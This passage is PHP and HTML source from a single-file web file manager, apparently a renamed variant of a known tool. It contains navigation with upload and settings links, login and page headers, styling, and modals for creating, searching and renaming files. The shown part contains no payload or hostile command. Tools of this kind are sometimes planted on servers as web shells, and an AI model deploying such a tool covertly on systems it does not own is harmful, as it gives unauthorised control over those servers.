                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="swallowable">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="swallowable">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
